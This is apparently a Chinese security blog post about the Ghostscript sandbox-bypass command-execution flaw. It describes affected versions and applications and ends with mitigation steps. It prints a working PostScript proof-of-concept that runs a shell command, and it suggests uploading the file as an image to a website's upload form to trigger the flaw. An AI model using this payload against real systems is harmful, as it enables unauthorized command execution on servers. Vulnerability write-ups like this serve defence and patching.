ghostscript命令执行漏洞

1. 漏洞背景

8 月 21 号,Tavis Ormandy 通过公开邮件列表指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成命令执行。

ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。

在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,但该沙箱在程序执行过程中由LockSafetyParams这个值进行控制,此次Taviso发现通过restore操作会将该值成功覆盖,导致安全沙箱被绕过,引发命令执行漏洞。

2 漏洞影响

version <= 9.23(全版本、全平台)

官方未出缓解措施,最新版本受到影响。

漏洞导致所有引用ghostscript的上游应用收到影响。 常见应用如下:

imagemagick

libmagick

graphicsmagick

gimp

python-matplotlib

texlive-core

texmacs

latex2html

latex2rtf

。。。

3 漏洞说明

在经历过2016年魔图漏洞后,不少安全从业者就开始对ImageMagick 很是敏感。

其利用简单,危害程度之高也令不少人咋舌。

360的安全团队已经给了该漏洞具体的说明包括POC,详细见文章底部连接。

POC:

%!PS

userdict /setpagedevice undef

legal

{ null restore } stopped { pop } if

legal

mark /OutputFile (%pipe%id) currentdevice putdeviceprops

将以上代码保存为图片文件,例如poc.png,然后找到Web站点的上传接口,直接上传就好了。

这里需要说明一下,文件不一定需要显示上传成功,如果目标站点存在该漏洞,POC会照样成功执行。

4 漏洞利用

这里拿受影响的ImageMagick 来测试。

centos6安装ImageMagick  

 yum install ImageMagick

简单的漏洞验证:

convert poc.png poc.gif

如果命令执行了则说明存在漏洞

5. 漏洞实战利用

这里就贴利用成功的几张图片吧

ceye.io平台

ghostscript命令执行漏洞_第1张图片

反弹shell


6. 漏洞修复

这里参考360给的修复建议吧

目前官方未给出缓解措施,建议卸载ghostscript。

使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 中加入以下 (即禁用 PS、EPS、PDF、XPS coders):

ghostscript命令执行漏洞_第2张图片

referrer:

https://cert.360.cn/warning/detail?id=154bd8345f9cd560ea1c0e5bf453a41d

https://d0n9.github.io/2018/08/22/ImageMagick%20%E6%BC%8F%E6%B4%9E%E5%87%91%E7%83%AD%E9%97%B9%E6%89%8B%E6%9C%AD/

你可能感兴趣的:(ghostscript命令执行漏洞)